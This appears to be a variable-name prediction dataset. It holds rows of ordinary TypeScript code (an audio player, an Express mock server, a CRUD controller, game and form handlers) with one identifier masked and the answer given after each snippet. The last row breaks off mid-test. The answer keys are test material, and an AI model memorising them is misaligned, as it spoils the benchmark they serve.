        return this.StatsHolder.get(""volume"");
    }

    /**
     * Sets the current volume. If not muted, all sounds will have their volume
     * updated.
     * 
     * @param {Number} volume   A Number in [0,1] to set as the current volume.
     */
    setVolume(volume: number): void {
        var i: string;

        if (!this.getMuted()) {
            for (i in this.sounds) {
                if (this.sounds.hasOwnProperty(i)) {
                    this.sounds[i].volume = this.sounds[i].volumeReal * volume;
                }
            }
        }

        this.StatsHolder.set(""volume"", volume);
    }

    /**
     * @return {Boolean} whether this is currently muted.
     */
    getMuted(): boolean {
        return Boolean(this.StatsHolder.get(""muted""));
    }

    /**
     * Calls either setMutedOn or setMutedOff as is appropriate.
     * 
     * @param {Boolean} muted   The new status for muted.
     */
    setMuted(muted: boolean): void {
        this.getMuted() ? this.setMutedOn() : this.setMutedOff();
    }

    /**
     * Calls either setMutedOn or setMutedOff to toggle whether this is muted.
     */
    toggleMuted(): void {
        this.setMuted(!this.getMuted());
    }

    /**
     * Sets volume to 0 in all currently playing sounds and stores the muted
     * status as on in the internal StatsHoldr.
     */
    setMutedOn(): void {
        for (var i in this.sounds) {
            if (this.sounds.hasOwnProperty(i)) {
                this.sounds[i].volume = 0;
            }
        }

        this.StatsHolder.set(""muted"", 1);
    }

    /**
     * Sets sound volumes to their actual volumes and stores the muted status
     * as off in the internal StatsHoldr.
     */
    setMutedOff(): void {
        var volume: number = this.getVolume(),
            sound: HTMLAudioElement,
            i: string;

        for (i in this.sounds) {
            if (this.sounds.hasOwnProperty(i)) {
                sound = this.sounds[i];
                sound.volume = Number(sound.getAttribute(""volumeReal"")) * volume;
            }
        }

        this.StatsHolder.set(""muted"", 0);
    }


    /* Other modifiers
    */

    /**
     * @return {Mixed} The Function or Number used as the volume setter for
     *                 ""local"" sounds.    
     */
    getGetVolumeLocal(): any {
        return this.getVolumeLocal;
    }

    /**
     * @param {Mixed} getVolumeLocal   A new Function or Number to use as the
     *                                 volume setter for ""local"" sounds.
     */
    setGetVolumeLocal(getVolumeLocalNew: any): void {
        this.getVolumeLocal = getVolumeLocalNew;
    }

    /**
     * @return {Mixed} The Function or String used to get the default theme for
     *                 playTheme calls.
     */
    getGetThemeDefault(): any {
        return this.getThemeDefault;
    }

    /**
     * @param {Mixed} A new Function or String to use as the source for theme
     *                names in default playTheme calls.
     */
    setGetThemeDefault(getThemeDefaultNew: any): void {
        this.getThemeDefault = getThemeDefaultNew;
    }


    /* Playback
    */

    /**
     * @param {String} name   The name of the sound to play.
     * 
     * Plays the sound of the given name. Internally, this stops any previously
     * playing sound of that name and starts a new one, with volume set to the
     * current volume and muted status. If the name wasn't previously being 
     * played (and therefore a new Element has been created), an event listener
     * is added to delete it from sounds after.
     * 
     * @return {HTMLAudioElement} The sound's <audio> element, now playing.
     */
    play(name: string): HTMLAudioElement {
        var sound: HTMLAudioElement,
            used: number;

        // If the sound isn't yet being played, see if it's in the library
        if (!this.sounds.hasOwnProperty(name)) {
            // If the sound also isn't in the library, it's unknown
            if (!this.library.hasOwnProperty(name)) {
                throw new Error(""Unknown name given to AudioPlayr.play: '"" + name + ""'."");
            }
            sound = this.sounds[name] = this.library[name];
        } else {
            sound = this.sounds[name];
        }

        this.soundStop(sound);

        if (this.getMuted()) {
            sound.volume = 0;
        } else {
            sound.setAttribute(""volumeReal"", ""1"");
            sound.volume = this.getVolume();
        }

        this.playSound(sound);
        used = Number(sound.getAttribute(""used""));

        // If this is the song's first play, let it know how to stop
        if (!used) {
            sound.setAttribute(""used"", String(used + 1));
            sound.addEventListener(""ended"", this.soundFinish.bind(this, name));
        }

        sound.setAttribute(""name"", name);
        return sound;
    }

    /**
     * Pauses all currently playing sounds.
     */
    pauseAll(): void {
        for (var i in this.sounds) {
            if (this.sounds.hasOwnProperty(i)) {
                this.sounds[i].pause();
            }
        }
    }

    /**
     * Un-pauses (resumes) all currently paused sounds.
     */
    resumeAll(): void {
        for (var i in this.sounds) {
            if (!this.sounds.hasOwnProperty(i)) {
                continue;
            }
            this.sounds[i].play();
        }
    }

    /**
     * Pauses the currently playing theme, if there is one.
     */
    pauseTheme(): void {
        if (this.theme) {
            this.theme.pause();
        }
    }

    /**
     * Resumes the theme, if there is one and it's paused.
     */
    resumeTheme(): void {
        if (this.theme) {
            this.theme.play();
        }
    }

    /**
     * Stops all sounds and any theme, and removes all references to them.
     */
    clearAll(): void {
        this.pauseAll();
        this.clearTheme();
        this.sounds = {};
    }

    /**
     * Pauses and removes the theme, if there is one.
     */
    clearTheme(): void {
        if (!this.theme) {
            return;
        }

        this.pauseTheme();
        delete this.sounds[this.theme.getAttribute(""name"")];
        this.theme = undefined;
    }

    /**
     * ""Local"" version of play that changes the output sound's volume depending
     * on the result of a getVolumeLocal call. This defaults to 1, but may be
     * less. For example, in a video game, sounds further from the viewpoint
     * should have lessened volume.
     * 
     * @param {String} name   The name of the sound to play.
     * @param {Mixed} [location]   An argument for getVolumeLocal, if that's a
     *                             Function.
     * @return {HTMLAudioElement} The sound's <audio> element, now playing.
     */
    playLocal(name: string, location: any = undefined): HTMLAudioElement {
        var sound: HTMLAudioElement = this.play(name),
            volumeReal: number;

        switch (this.getVolumeLocal.constructor) {
            case Function:
                volumeReal = this.getVolumeLocal(location);
                break;
            case Number:
                volumeReal = this.getVolumeLocal;
                break;
            default:
                volumeReal = Number(this.getVolumeLocal) || 1;
                break;
        }

        sound.setAttribute(""volumeReal"", String(volumeReal));

        if (this.getMuted()) {
            sound.volume = 0;
        } else {
            sound.volume = volumeReal * this.getVolume();
        }

        return sound;
    }

    /**
     * Pauses any previously playing theme and starts playback of a new theme
     * sound. This is different from normal sounds in that it normally loops and
     * is controlled by pauseTheme and co. If loop is on and the sound wasn't
     * already playing, an event listener is added for when it ends.
     * 
     * @param {String} [name]   The name of the sound to be used as the theme.
     *                          If not provided, getThemeDefault is used to 
     *                          provide one.
     * @param {Boolean} [loop]   Whether the theme should always loop (by 
     *                           default, true).
     * @return {HTMLAudioElement} The theme's <audio> element, now playing.
     */
    playTheme(name: string = undefined, loop: boolean = undefined): HTMLAudioElement {
        this.pauseTheme();

        // Loop defaults to true
        loop = typeof loop !== ""undefined"" ? loop : true;

        // If name isn't given, use the default getter
        if (typeof (name) === ""undefined"") {
            switch (this.getThemeDefault.constructor) {
                case Function:
                    name = this.getThemeDefault();
                    break;
                case String:
                    name = this.getThemeDefault;
                    break;
            }
        }

        // If a theme already exists, kill it
        if (typeof this.theme !== ""undefined"" && this.theme.hasAttribute(""name"")) {
            delete this.sounds[this.theme.getAttribute(""name"")];
        }

        this.theme = this.sounds[name] = this.play(name);
        this.theme.loop = loop;

        // If it's used (no repeat), add the event listener to resume theme
        if (this.theme.used === 1) {
            this.theme.addEventListener(""ended"", this.playTheme);
        }

        return this.theme;
    }

    /**
     * Wrapper around playTheme that plays a sound, then a theme. This is 
     * implemented using an event listener on the sound's ending.
     * 
     * @param {String} [prefix]    A prefix for the sound? Not sure...
     * @param {String} [name]   The name of the sound to be used as the theme.
     *                          If not provided, getThemeDefault is used to 
     *                          provide one.
     * @param {Boolean} [loop]   Whether the theme should always loop (by 
     *                           default, false).
     * @return {HTMLAudioElement} The sound's <audio> element, now playing.
     */
    playThemePrefixed(prefix: string = undefined, name: string = undefined, loop: boolean = undefined): HTMLAudioElement {
        var sound: HTMLAudioElement = this.play(prefix);

        this.pauseTheme();

        // If name isn't given, use the default getter
        if (typeof (name) === ""undefined"") {
            switch (this.getThemeDefault.constructor) {
                case Function:
                    name = this.getThemeDefault();
                    break;
                case String:
                    name = this.getThemeDefault;
                    break;
            }
        }

        this.addEventListener(prefix, ""ended"", this.playTheme.bind(self, prefix + "" "" + name, loop));

        return sound;
    }


    /* Public utilities
    */

    /**
     * Adds an event listener to a currently playing sound. The sound will keep
     * track of event listeners via an .addedEvents attribute, so they can be
     * cancelled later.
     * 
     * @param {String} name   The name of the sound.
     * @param {String} event   The name of the event, such as ""ended"".
     * @param {Function} callback   The Function to be called by the event.
     */
    addEventListener(name: string, event: string, callback: any): void {
        var sound: any = this.library[name];

        if (!sound) {
            throw new Error(""Unknown name given to addEventListener: '"" + name + ""'."");
        }

        if (!sound.addedEvents) {
            sound.addedEvents = {};
        }

        if (!sound.addedEvents[event]) {
            sound.addedEvents[event] = [callback];
        } else {
            sound.addedEvents[event].push(callback);
        }

        sound.addEventListener(event, callback);
    }

    /**
     * Clears all events added by this.addEventListener to a sound under a given
     * event. 
     * 
     * @param {String} name   The name of the sound.
     * @param {String} event   The name of the event, such as ""ended"".
     */
    removeEventListeners(name: string, event: string): void {
        var sound: any = this.library[name],
            events: any,
            i: number;

        if (!sound) {
            throw new Error(
                ""Unknown name given to removeEventListeners: '"" + name + ""'.""
                );
        }

        if (!sound.addedEvents) {
            return;
        }

        events = sound.addedEvents[event];
        if (!events) {
            return;
        }

        for (i = 0; i < events.length; i += 1) {
            sound.removeEventListener(event, events[i]);
        }

        events.length = 0;
    }

    /**
     * Adds an event listener to a sound. If the sound doesn't exist or has 
     * finished playing, it's called immediately.
     * 
     * @param {String} name   The name of the sound.
     * @param {String} event   The name of the event, such as ""onended"".
     * @param {Function} callback   The Function to be called by the event.
     */
    addEventImmediate(name: string, event: string, callback: any): void {
        if (!this.sounds.hasOwnProperty(name) || this.sounds[name].paused) {
            callback();
            return;
        }

        this.sounds[name].addEventListener(event, callback);
    }


    /* Private utilities
    */

    /**
     * Called when a sound has completed to get it out of sounds.
     * 
     * @param {String} name   The name of the sound that just finished.
     */
    soundFinish(name: string): void {
        if (this.sounds.hasOwnProperty(name)) {
            delete this.sounds[name];
        }
    }

    /**
     * Carefully stops a sound. HTMLAudioElement don't natively have a .stop()
     * function, so this is the shim to do that.
     */
    soundStop(sound: HTMLAudioElement): void {
        sound.pause();
        if (sound.readyState) {
            sound.currentTime = 0;
        }
    }


    /* Private loading / resetting
    */

    /**
     * Loads every sound defined in the library via AJAX. Sounds are loaded
     * into <audio> elements via createAudio and stored in the library.
     */
    libraryLoad(): void {
        var section: any,
            name: string,
            sectionName: string,
            j: string;

        // For each given section (e.g. names, themes):
        for (sectionName in this.library) {
            if (!this.library.hasOwnProperty(sectionName)) {
                continue;
            }
            section = this.library[sectionName];

            // For each thing in that section:
            for (j in section) {
                if (!section.hasOwnProperty(j)) {
                    continue;
                }
                name = section[j];

                // Create the sound and store it in the container
                this.library[name] = this.createAudio(name, sectionName);
            }
        }
    }

    /**
     * Creates an audio element, gives it sources, and starts preloading.
     * 
     * @param {String} name
     * @param {String} sectionName
     * @return {HTMLAudioElement}
     */
    createAudio(name: string, sectionName: string): HTMLAudioElement {
        var sound: HTMLAudioElement = document.createElement(""audio""),
             [MASK] : string,
            child: HTMLSourceElement,
            i: number;

        // Create an audio source for each child
        for (i = 0; i < this.fileTypes.length; i += 1) {
             [MASK]  = this.fileTypes[i];
            child = <HTMLSourceElement>document.createElement(""source"");

            child.type = ""audio/"" +  [MASK] ;
            child.src = this.directory + ""/"" + sectionName + ""/"" +  [MASK]  + ""/"" + name + ""."" +  [MASK] ;

            sound.appendChild(child);
        }

        // This preloads the sound.
        sound.volume = 0;
        sound.setAttribute(""volumeReal"", ""1"");
        sound.setAttribute(""used"", ""0"");
        this.playSound(sound);

        return sound;
    }

    /**
     * Utility to try to play a sound, which may not be possible in headless
     * environments like PhantomJS.
     * 
     * @param {HTMLAudioElement} sound
     * @return {Boolean} Whether the sound was able to play.
     */
    playSound(sound: HTMLAudioElement): boolean {
        if (sound && sound.play) {
            sound.play();
            return true;
        }
        return false;
    }
}
",sourceType
350,"import { rpc } from ""./ws"";
import { getBlankSettings, Settings } from ""../../../common/settings"";
import { NamedEntry } from ""../../../common/ws-protocol"";
import MulticastCallback from ""../../../util/multicast-callback"";

const settings: Settings = getBlankSettings();

export const settingsOnChange: { [K in keyof Settings]?: MulticastCallback<[value: Settings[K]]>; } = {
};

export function settingsAddOnChange<K extends keyof Settings>(key: K, fn: (value: Settings[K]) => void, runImmediately: boolean = false): void {
    if (null == settingsOnChange[key]) {
        settingsOnChange[key] = new MulticastCallback<[any]>();
    }

    settingsOnChange[key]!.add(fn as any);
    if (runImmediately) {
        fn(settings[key]);
    }
}

export function settingsRemoveOnChange<K extends keyof Settings>(key: K, fn: (value: Settings[K]) => void): boolean {
    const  [MASK]  = settingsOnChange[key];
    if (null ==  [MASK] ) {
        return false;
    }

    return  [MASK] .delete(fn as any);
}

export function settingsTriggerOnChange<K extends keyof Settings>(key: K): void {
    const value = settings[key];
    rpc('setSetting', { key, value } as NamedEntry<Settings>);
    (settingsOnChange[key] as MulticastCallback<[any]>)?.call(value);
}

export function setSetting<K extends keyof Settings>(key: K, value: Settings[K]): void {
    settings[key] = value;
    rpc('setSetting', { key, value } as NamedEntry<Settings>);
    (settingsOnChange[key] as MulticastCallback<[any]>)?.call(value);
}

export function setSettings(changes: Partial<Settings>): void {
    Object.assign(settings, changes);
    rpc('setSettings', changes);
    (Object.getOwnPropertyNames(changes) as (keyof Settings)[]).forEach(key => {
        (settingsOnChange[key] as MulticastCallback<[any]>)?.call(changes[key]);
    });
}

Object.assign(window as any, {
    settings,
    setSetting,
    setSettings,
});

export default settings;",onChange
351,"import { TestBed } from '@angular/core/testing';
import { AppComponent } from './app.component';

describe('AppComponent', () => {
  beforeEach(() => TestBed.configureTestingModule({
    declarations: [AppComponent]
  }));

  it('should create the app', () => {
    const fixture = TestBed.createComponent(AppComponent);
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });

  it(`should have as title 'ai-chat-front-end'`, () => {
    const fixture = TestBed.createComponent(AppComponent);
    const app = fixture.componentInstance;
    expect(app.title).toEqual('ai-chat-front-end');
  });

  it('should render title', () => {
    const fixture = TestBed.createComponent(AppComponent);
    fixture.detectChanges();
    const  [MASK]  = fixture.nativeElement as HTMLElement;
    expect( [MASK] .querySelector('.content span')?.textContent).toContain('ai-chat-front-end app is running!');
  });
});
",compiled
352,"import { AxiosRequestConfig, AxiosPromise, AxiosResponse } from './types/index'
import { parseHeaders } from './helper/headers'
export default function xhr(config: AxiosRequestConfig): AxiosPromise {
  return new Promise((resolve, reject) => {
    const { url, method = 'get', data = null, headers, responseType } = config
    const request = new XMLHttpRequest()
    if (responseType) {
      request.responseType = responseType
    }
    request.open(method.toUpperCase(), url, true)

    Object.keys(headers).forEach(name => {
      if (data === null && name.toLocaleLowerCase() === 'content-type') {
        delete headers[name]
      } else {
        request.setRequestHeader(name, headers[name])
      }
    })

    request.onreadystatechange = function handleLoad() { // 这个函数会多次触发
      if (request.readyState !== 4) { // 说明没有接收到
        return
      }
      const  [MASK]  = parseHeaders(request.getAllResponseHeaders())
      const responseData = responseType !== 'text' ? request.response : request.responseText
      const response: AxiosResponse = {
        data: responseData,
        status: request.status,
        statusText: request.statusText,
        headers:  [MASK] ,
        config,
        request,
      }
      resolve(response)
    }
    request.send(data)
  })
}
",responseHeaders
353,"/**
 * Copyright 2025 Sony Semiconductor Solutions Corp.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

import {
  DeployConfigApplyIn,
  DeployConfigsIn,
  DeployHistoryDevicesOut,
} from '@app/core/deployment/deployment';
import { DeployHistory, getRandomId } from '@samplers/deployment';
import { Express } from 'express';
import { Store } from '../store';

export function registerDeploymentControllers(app: Express, data: Store) {
  app.post('/files', (req, res) => {
    let file_path, type_code;
    ({ file_path, type_code } = req.body);
    res.json({
      result: 'SUCCESS',
      file_info: {
        file_id: getRandomId(),
        name: file_path,
        type_code: type_code,
        size: 0,
      },
    });
  });

  app.post('/deploy_configs', (req, res) => {
    console.log(req.originalUrl);
    const body: DeployConfigsIn = req.body;
    let edge_app_package_id: string | null = null;
    let model_id: string | null = null;
    let fw_id_1: string | null = null;
    let fw_id_2: string | null = null;

    if (body.edge_apps !== null && body.edge_apps !== undefined) {
      edge_app_package_id = body.edge_apps[0].edge_app_package_id;
    }
    if (body.models !== null && body.models !== undefined) {
      model_id = body.models[0].model_id;
    }
    if (
      body.edge_system_sw_package !== null &&
      body.edge_system_sw_package !== undefined &&
      body.edge_system_sw_package.length > 0
    ) {
      fw_id_1 = body.edge_system_sw_package[0].firmware_id;
      if (body.edge_system_sw_package.length == 2) {
        fw_id_2 = body.edge_system_sw_package[1].firmware_id;
      }
    }
    data.deployments.deploy_history.push(
      DeployHistory.sample(
        body.config_id,
        fw_id_1,
        fw_id_2,
        edge_app_package_id,
        model_id,
      ),
    );

    res.json({ result: 'SUCCESS' });
  });

  app.post('/deploy_configs/:config_id/apply', (req, res) => {
    const body: DeployConfigApplyIn = req.body;
    const  [MASK]  = data.devices.devices.filter(
      (dev) => dev.device_id == body.device_ids[0],
    );
    const device_info: DeployHistoryDevicesOut[] = [
      {
        device_id: body.device_ids[0],
        device_name:  [MASK] [0].device_name,
      },
    ];

    data.deployments.deploy_history.at(-1)!.devices = device_info;

    res.json({ result: 'SUCCESS' });
  });

  app.get('/deploy_history', (req, res) => {
    res.json(data.deployments);
  });
}
",selected_device
354,"// noinspection JSUnusedGlobalSymbols,DuplicatedCode

import {AnyEntity, EntityData} from ""@mikro-orm/core"";
import {QueryParams} from ""../dto"";
import {MikroCrudService} from ""../service"";
import {LookupableField} from ""../types"";
import {validate} from ""class-validator"";
import {BadRequestException} from ""@nestjs/common"";

export abstract class MikroCrudController<
    Entity extends AnyEntity<Entity> = AnyEntity,
    CreateDto extends EntityData<Entity> = EntityData<Entity>,
    UpdateDto extends EntityData<Entity> = EntityData<Entity>,
    LookupField extends LookupableField<Entity> = LookupableField<Entity>,
    Service extends MikroCrudService<
        Entity,
        CreateDto,
        UpdateDto
    > = MikroCrudService<Entity, CreateDto, UpdateDto>
> {
    readonly service!: Service;
    readonly lookupField!: LookupField;

    async list(
        {limit, offset, order, filter, expand}: QueryParams<Entity>,
        user: any
    ): Promise<unknown> {
        const {total, results} = await this.service.list({
            limit,
            offset,
            order,
            filter,
            expand,
            user,
        });
        await Promise.all(
            results.map(
                async (entity) =>
                    await this.service.adjustPopulationStatus({entity, expand})
            )
        );
        await this.service.save();
        return {total, results};
    }

    async create(
        {expand}: QueryParams<Entity>,
        data: CreateDto,
        user: any
    ): Promise<unknown> {
        let entity = await this.service.create({data, user});
        await this.service.save();
        entity = await this.service.retrieve({
            conditions: this.getPrimaryKey(entity),
            expand,
            refresh: true,
            user,
        });
        await this.service.adjustPopulationStatus({entity, expand});
        await this.service.save();
        return entity;
    }

    async retrieve(
        lookup: Entity[LookupField],
        {expand}: QueryParams<Entity>,
        user: any
    ): Promise<unknown> {
        console.dir({lookup, field: this.lookupField})
        const entity = await this.service
            .retrieve({
                // @ts-ignore
                conditions: {
                    [this.lookupField]: lookup,
                },
                expand,
                user,
            });
        await this.service.adjustPopulationStatus({entity, expand});
        await this.service.save();
        return entity;
    }

    async replace(
        lookup: Entity[LookupField],
        {expand}: QueryParams<Entity>,
        data: CreateDto,
        user: any
    ): Promise<unknown> {
        let entity = await this.service
            .retrieve({
                // @ts-ignore
                conditions: {
                    [this.lookupField]: lookup
                },
                expand,
                user,
            });
        await this.service.replace({entity, data, user});
        await this.service.save();
        entity = await this.service.retrieve({
            conditions: this.getPrimaryKey(entity),
            expand,
            refresh: true,
            user,
        });
        await this.service.adjustPopulationStatus({entity, expand});
        await this.service.save();
        return entity;
    }

    async update(
        lookup: Entity[LookupField],
        {expand}: QueryParams<Entity>,
        data: UpdateDto,
        user: any
    ): Promise<Entity> {
        let entity = await this.service
            .retrieve({
                // @ts-ignore
                conditions: {
                    [this.lookupField]: lookup
                },
                expand,
                user,
            })
        const errors = await validate(data);
        if(errors.length > 0) {
            throw new BadRequestException({
                message: 'Validation failed',
                errors,
            })
        }
        await this.service.update({entity, data, user});
        await this.service.save();
        entity = await this.service.retrieve({
            conditions: this.getPrimaryKey(entity),
            expand,
            refresh: true,
            user,
        });
        await this.service.adjustPopulationStatus({entity, expand});
        await this.service.save();
        return entity;
    }

    async destroy(lookup: Entity[LookupField], user: any): Promise<unknown> {
        const entity = await this.service
            .retrieve({
                // @ts-ignore
                conditions: {
                    [this.lookupField]: lookup
                },
                user
            })

        await this.service.destroy({entity, user});
        await this.service.save();
        return;
    }

    private getPrimaryKey(entity: AnyEntity) {
        const  [MASK]  = entity.__helper!.__meta.primaryKeys[0];
        return {[ [MASK] ]: entity[ [MASK] ]};
    }
}
",pkField
355,"import {action, autorun, computed, IObservableArray, IObservableObject, observable} from ""mobx"";
import {EnumInfo, MetaClassInfo, MetaPropertyInfo, PermissionInfo, UserInfo} from ""@cuba-platform/rest/dist-node/model"";
import {inject, IReactComponent, IWrappedComponent} from ""mobx-react"";
import {cubaREST} from ""../index"";

export type PropertyType = 'string' | 'int' | 'date' | 'dateTime' | 'boolean';

export class AppState {

  static NAME = 'appState';

  @observable initialized = false;
  @observable authenticated = false;
  @observable usingAnonymously = false;
  @observable userName: string | null;

  @observable permissions: IObservableArray<PermissionInfo>;
  @observable metadata: IObservableArray<MetaClassInfo>;
  @observable messages: IObservableObject;
  @observable enums: IObservableArray<EnumInfo>;

  constructor() {

    autorun(() => {
      if (this.initialized && (this.authenticated || this.usingAnonymously)) {
        cubaREST.getPermissions()
          .then(action((perms: PermissionInfo[]) => {
            this.permissions = observable(perms);
          }));

        cubaREST.loadEnums()
          .then(action((enums: EnumInfo[]) => {
            this.enums = observable(enums);
          }));

        cubaREST.loadMetadata()
          .then(action((metadata: MetaClassInfo[]) => {
            this.metadata = observable(metadata);
          }));

        cubaREST.loadEntitiesMessages()
          .then(action((res) => {
            this.messages = observable(res);
          }))
      }
    })
  }

  @computed get loginRequired(): boolean {
    return !this.authenticated && !this.usingAnonymously;
  }

  @action login(login: string, password: string) {
    return cubaREST.login(login, password).then(action(() => {
      this.userName = login;
      this.authenticated = true;
    }))
  }

  @action
  logout(): Promise<void> {
    if (this.usingAnonymously) {
      this.usingAnonymously = false;
      return Promise.resolve();
    }
    if (cubaREST.restApiToken != null) {
      return cubaREST.logout()
        .then(action(() => {
          this.authenticated = false;
        }));
    }
    return Promise.resolve();
  }

  initialize() {
    cubaREST.getUserInfo()
      .then(action(( [MASK] : UserInfo) => {
        if (cubaREST.restApiToken == null) {
          this.usingAnonymously = true;
        } else {
          this.authenticated = true;
        }
        this.userName =  [MASK] .name;
        this.initialized = true;
      }))
      .catch(action(() => {
        this.initialized = true;
      }));
  }

}

export function getPropertyInfo(metadata: MetaClassInfo[], entityName: string, propertyName: string): MetaPropertyInfo | null {
  const metaClass = metadata.find(mci => mci.entityName === entityName);
  if (metaClass == null) {
    return null;
  }
  const propInfo = metaClass.properties.find(prop => prop.name === propertyName);
  return propInfo || null
}

export interface AppStateObserver {
  appState?: AppState;
}

export function injectAppState<T extends IReactComponent>(target: T): T & IWrappedComponent<T> {
  return inject(AppState.NAME)(target);
}",userInfo
356,"import {PrismaClient} from '@prisma/client';
import type {MultiPartData} from ""h3"";
export default defineEventHandler(async (event) => {
    try {
        const items = await readMultipartFormData(event);
        const decoder = new TextDecoder(""utf-8"");
        const uploadedFiles: MultiPartData[] = [];

        let _name = ''
        let _description = ''
        let _embedding = ''
        items?.forEach((item) => {
            const  [MASK]  = item.name || '';
            const decodeData = decoder.decode(item.data)
            if ( [MASK] .startsWith(""files"")) {
                uploadedFiles.push(item);
            }
            if ( [MASK]  === 'name') {
                _name = decodeData
            }
            if ( [MASK]  === 'description') {
                _description = decodeData
            }
            if ( [MASK]  === 'embedding') {
                _embedding = decodeData
            }
        });
        console.log(_name, _description, _embedding);
        const prisma = new PrismaClient();
        await prisma.knowledgeBase.create({
            data: {
                name: _name,
                description: _description,
                embedding: _embedding,
            }
        });
        return {success: true, items};
    } catch (error) {
        console.log(error);
        throw createError({statusCode: 500, statusMessage: 'Internal Server Error'});
    }
});",key
357,"import ObjectHelper, { TileType } from ""./objectHelper"";
import Game from ""./game"";
import Monster from ""./monster"";
import Player from ""./player"";

const { ccclass, property } = cc._decorator;

@ccclass
export default class Bomb extends cc.Component {

    start() {
        let game = ObjectHelper.currentGameInstance();
        game.increaseBomb(this);
    }

    exploded() {
        let game = ObjectHelper.currentGameInstance();
        let tilePosition = game.getTilePos(this.node.position);

        let linkTiles: cc.Vec2[] = [];
        linkTiles.push(cc.p(tilePosition.x - 1, tilePosition.y));
        linkTiles.push(cc.p(tilePosition.x + 1, tilePosition.y));
        linkTiles.push(cc.p(tilePosition.x, tilePosition.y - 1));
        linkTiles.push(cc.p(tilePosition.x, tilePosition.y + 1));

        linkTiles.forEach(linkTile => {
            this.tryRemoveTile(linkTile);
            this.tryKillMonster(linkTile);
            this.tryKillPlayer(linkTile);
        });
        this.node.destroy();
    }

    onDestroy() {
        let game = ObjectHelper.currentGameInstance();
        game.destroyBomb(this);
    }

    tryKillMonster(tilePosition) {
        let game = ObjectHelper.currentGameInstance();
        let monsterList = game.getMonsterList() as Array<Monster>;
        monsterList.forEach(monster => {
            let monsterTile = game.getTilePos(monster.node.position);
            if (monsterTile.equals(tilePosition)) {
                game.destroyMonster(monster);
            }
        })
    }

    tryKillPlayer(tilePosition) {
        let player = ObjectHelper.currentGameInstance().player.getComponent(Player);
        if (player.getPlayerTile().equals(tilePosition)) {
            player.killed();
        }
    }

    tryRemoveTile(position: cc.Vec2) {
        let game = ObjectHelper.currentGameInstance();
        let  [MASK]  = game.getTileType(game.mainLayer, position);
        if ( [MASK]  == null) {
             [MASK]  = game.getTileType(game.hideLayer, position);
        }
        if ( [MASK]  == null) return;
        for (let type in TileType) {
            let typeIndex = parseInt(type) as TileType;
            let typeName = ObjectHelper.getEnumName(TileType, typeIndex);
            if (typeIndex == TileType.Soil &&  [MASK]  == typeName) {
                game.mainLayer.removeTileAt(position);
                break;
            }
            if ( [MASK]  == typeName) {
                game.hideLayer.removeTileAt(position);
                break;
            }
        }
    }
}

",tileType
358,"import { Request, RequestHandler, Response } from ""express"";
import mongoose, {Schema} from ""mongoose"";
import claimDocumentModel from ""../../models/claim-documents.model"";
import claimModel from ""../../models/claims.model"";
import userModel from ""../../models/users.model"";
import notificationModel from ""../../models/notifications.model"";
import Right from ""../../types/Right"";

const createClaimHandler: RequestHandler = async (
  req: Request,
  res: Response
) => {
  const {
    claimDTO,
    documents,
  } = req.body;
  const  [MASK]  = (req.user as any)._id;

  try {
    const claimDto = new claimModel({
      claimantId:  [MASK] ,
      ...claimDTO,
    });

    if (documents) {
      if (!Array.isArray(documents)) {
        res.status(400).json({ message: ""Documents field is not an array"" });
        return;
      }

      for (const doc of documents) {
        const documentDto = new claimDocumentModel({
          claimId: claimDto._id,
          description: (doc as any).description,
          document: (doc as any).document,
        });
        await documentDto.save();
      }
    }

    const claim = await claimDto.save();
    const users = await userModel
        .find({rights: Right.EXPERT}).exec();
    const userIds: Schema.Types.ObjectId[] = users.map(u => u._id as Schema.Types.ObjectId);

    for (const userId of userIds) {
      const notification =  {
        title: `Claim ${claim.claimNumber} submitted!`,
        message: `Claim ${claim.claimNumber} submitted!`,
        recipientId: userId,
        createdAt: new Date()
      };
      await notificationModel.create(notification);
    }

    res.status(201).json(claim);
  } catch (error) {
    if (error instanceof mongoose.Error.ValidationError) {
      const validationErrors: { [key: string]: string } = {};
      for (const key in error.errors) {
        if (error.errors[key] && error.errors[key].message) {
          validationErrors[key] = error.errors[key].message;
        }
      }
      res.status(400).json({ errors: validationErrors });
      return;
    }

    console.error(error);
    res.status(500).json({ message: ""Server Error"" });
  }
};

export default createClaimHandler;
",clientId
359,"import process from 'node:process';
import {URL} from 'node:url';
import type {Consola} from 'consola';
import consola from 'consola';
import delay from 'delay';
import pRetry from 'p-retry';
import config from './config.json';
import {Mandolin} from './mandolin.js';

const DELAY = 3 * 1000;
const THREAD_RETRIES = 10;

async function main() {
	const {token} = config;

	if (!token.startsWith('Bearer')) {
		consola.warn(""token didn't start with Bearer, make sure it's definitely valid"");
	}

	const  [MASK]  = config.streamUrls.map(streamUrl => new URL(streamUrl).pathname.slice('/watch/'.length));
	const threads: Array<Promise<void>> = [];
	let threadIdCounter = 0;

	for (const uuid of  [MASK] ) {
		// eslint-disable-next-line @typescript-eslint/no-loop-func
		const makeThread = async () => {
			const logger = consola.withTag(uuid).withTag(`thread-${threadIdCounter}`);
			logger.info('starting thread');

			threadIdCounter++;

			try {
				await thread({uuid, token, logger});
			} catch (error) {
				logger.error(error);
			}
		};

		threads.push(pRetry(makeThread, {retries: THREAD_RETRIES}));
	}
}

main().catch(error => {
	console.error(error);

	process.exit(1);
});

async function thread({uuid, token, logger}: {uuid: string; token: string; logger: Consola}) {
	const mandolin = new Mandolin(uuid, token);

	const streamDetails = await mandolin.fetchStreamDetails();

	if (!streamDetails.isActive) {
		logger.warn('stream is not active');
	}

	// eslint-disable-next-line no-constant-condition
	while (true) {
		// eslint-disable-next-line no-await-in-loop
		const downloadedFiles = await mandolin.download();

		logger.withTag('downloads').info(downloadedFiles.join(', ') || '(none)');

		// eslint-disable-next-line no-await-in-loop
		await delay(DELAY);
	}
}
",uuids
360,"jest.mock('express');

import healthcheck from '../healthcheck';
import * as express from 'express';

describe('/healthcheck route', () => {
	const responseMock = {
			status: jest.fn(() => responseMock),
			send: jest.fn()
		} as unknown as express.Response,
		requestMock = {
			body: 'fakeBody'
		} as unknown as express.Request;
	

	describe('GET /healthcheck endpoint', () => {
		it('gets added to express routing', () => {
			// Given
			const server = express();

			// When
			healthcheck(server);

			// Then
